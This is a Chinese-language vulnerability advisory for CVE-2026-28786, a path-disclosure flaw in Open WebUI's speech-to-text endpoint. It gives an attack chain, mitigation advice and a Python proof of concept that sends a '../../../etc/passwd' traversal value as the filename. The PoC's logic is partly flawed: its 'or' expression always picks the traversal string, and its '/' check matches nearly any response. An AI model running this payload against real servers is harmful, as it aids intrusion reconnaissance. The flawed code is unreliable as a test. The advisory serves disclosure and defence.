IPBUF安全漏洞报告
English
CVE-2026-28786 CVSS 4.3 中危

CVE-2026-28786 Open WebUI路径信息泄露漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-28786
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

信息泄露Open WebUI路径泄露CVE-2026-28786

漏洞概述

Open WebUI是一个自托管人工智能平台。在0.8.6版本之前,其语音转文字转录端点存在安全漏洞。由于文件名字段未经过充分的清理,任何经过身份验证的非管理员用户都可以触发特定的文件未找到错误。该漏洞会导致服务器返回包含绝对DATA_DIR路径的错误信息,从而造成敏感路径信息泄露。建议用户尽快升级到修复版本以确保系统安全。

技术细节

该漏洞的根本原因是Open WebUI在处理语音转文字请求时,对用户输入的“filename”参数缺乏严格的校验和净化机制。具体而言,应用程序直接将用户可控的输入用于文件系统操作,而没有预先检查其合法性或将其限制在安全目录内。当攻击者提交一个不存在的文件名时,后端逻辑在尝试打开文件时失败并抛出`FileNotFoundError`。由于应用的错误处理页面未对敏感信息进行脱敏处理,服务器将完整的错误详情,包括物理路径、环境变量等,通过HTTP 400 Bad Request响应体直接泄露给前端。攻击者利用此信息可推断服务器的部署架构,为后续的本地文件包含(LFI)或路径遍历攻击提供关键情报。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统运行的是Open WebUI,并确认其版本低于0.8.6。
STEP 2
2. 获取低权限账号
攻击者注册或通过其他方式获取一个普通用户账号(无需管理员权限)。
STEP 3
3. 发送恶意请求
攻击者向语音转文字转录端点发送特制的HTTP请求,包含无效的文件名字段。
STEP 4
4. 触发异常并泄露信息
服务器处理请求时触发FileNotFoundError,并在HTTP 400响应中返回包含绝对路径DATA_DIR的错误信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://target-open-webui-instance.com" login_url = f"{target_host}/api/login" transcribe_url = f"{target_host}/api/v1/transcribe" # Hypothetical endpoint # Attacker credentials (Low-privilege user) creds = { "username": "attacker", "password": "password123" } def exploit(): session = requests.Session() # Step 1: Authenticate print("[*] Attempting to login...") login_resp = session.post(login_url, json=creds) if login_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Trigger the vulnerability # Sending a malformed filename to trigger the FileNotFoundError payload = { "filename": "../../../etc/passwd" or "non_existent_file_12345.txt" } print("[*] Sending malicious payload to transcription endpoint...") vuln_resp = session.post(transcribe_url, data=payload) # Step 3: Check for information disclosure if vuln_resp.status_code == 400: print("[+] Received HTTP 400 response. Checking body...") response_text = vuln_resp.text if "DATA_DIR" in response_text or "/" in response_text: print("[!] Vulnerability Confirmed! Sensitive path found in response:") print(response_text) else: print("[-] Path not found in response.") else: print(f"[-] Unexpected status code: {vuln_resp.status_code}") if __name__ == "__main__": exploit()

影响范围

Open WebUI < 0.8.6

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用语音转文字功能,或者配置中间件拦截HTTP 400状态码的响应体,防止敏感路径信息泄露给前端用户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表